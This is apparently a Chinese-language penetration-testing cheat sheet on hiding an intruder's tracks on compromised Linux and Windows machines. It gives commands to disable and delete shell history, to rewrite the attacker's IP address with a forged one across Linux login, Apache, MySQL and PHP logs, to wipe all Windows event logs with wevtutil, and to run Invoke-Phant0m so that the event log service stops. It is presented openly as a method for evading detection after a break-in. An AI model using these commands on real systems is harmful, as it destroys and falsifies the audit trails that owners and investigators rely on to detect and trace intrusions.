Linux日志处理 #
Bash日志处理 #
bash去掉history记录,让系统不记录history
export HISTSIZE=0
export HISTFILE=/dev/null
1
2
2
history命令的清除,也是对~/.bash_history进行定向清除
rm -rf ~/.bash_history
history -c
1
2
2
系统日志 #
直接将日志清除过于明显,一般使用sed进行定向清除或伪造
日志文件 | 说明 |
---|---|
/var/log/btmp | 记录错误登录(登陆失败)日志;使用lastb命令查看 |
/var/log/lastlog | 记录系统中所有用户最后一次成功登录时间,使用lastlog命令查看 |
/var/log/wtmp | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件;用last命令来查看 |
/var/log/utmp | 只记录当前登录用户的信息;使用w,who,users等命令来查询 |
/var/log/secure | 记录验证和授权方面的信息,如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码(Centos) |
#其中192.168.1.3是我们的IP,8.8.8.8是我们伪造的IP,-i直接编辑文件,必须在后边
sed 's/192.168.1.3/8.8.8.8/g' -i /var/log/btmp*
sed 's/192.168.1.3/8.8.8.8/g' -i /var/log/lastlog
sed 's/192.168.1.3/8.8.8.8/g' -i /var/log/wtmp
sed 's/192.168.1.3/8.8.8.8/g' -i secure
sed 's/192.168.1.3/8.8.8.8/g' -i /var/log/utmp
1
2
3
4
5
6
7
2
3
4
5
6
7
Web日志处理 #
如apache的access.log,error.log。
sed ‘s/192.168.1.3/8.8.8.8/g’ –i /var/log/apache/access.log
sed ‘s/192.168.1.3/8.8.8.8/g’ –i /var/log/apache/error_log
#其中192.168.1.3是我们的IP,8.8.8.8是我们伪造的IP
1
2
3
2
3
MySQL日志文件 #
log-error=/var/log/mysql/mysql_error.log #错误日志
log-slow-queries=/var/log/mysql/mysql_slow.log #慢查询日志
1
2
2
sed 's/192.168.1.3/8.8.8.8/g' –i /var/log/mysql/mysql_error.log
sed 's/192.168.1.3/8.8.8.8/g' –i /var/log/mysql/mysql_slow.log
1
2
2
php日志处理 #
sed 's/192.168.1.3/192.168.1.4/g' –i /var/log/apache/php_error.log
1
Windows日志处理 #
对于Windows事件日志分析,不同的EVENT ID代表了不同的意义
事件ID | 说明 |
---|---|
4648 | 登录成功,会记录登录来源IP |
4625 | 登录失败,会记录登录来源IP |
4672 | 使用超级用户(如管理员)进行特殊登录,不会记录IP |
4720 | 创建用户 |
4733 | 从用户组删除用户 |
4779 | 注销事件,会记录登录来源IP |
一、wevtutil+for循环清除所有日志 #
for /F "tokens=*" %a in ('wevtutil.exe el') DO wevtutil.exe cl "%a"
1
二、 ps批量删日志 #
PS C:\> wevtutil el | Foreach-Object {Write-Host "Clearing $_"; wevtutil cl "$_"}
1
三、运行ps脚本 #
powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-Phant0m.ps1';Invoke-Phant0m}"
#win日志服务此时就会停止工作了
#长期控制,记得验证
1
2
3
2
3
不过这种方法太过暴力,而且停止日志记录这个方法停止后无法恢复
稳妥点还是手动删除登录事件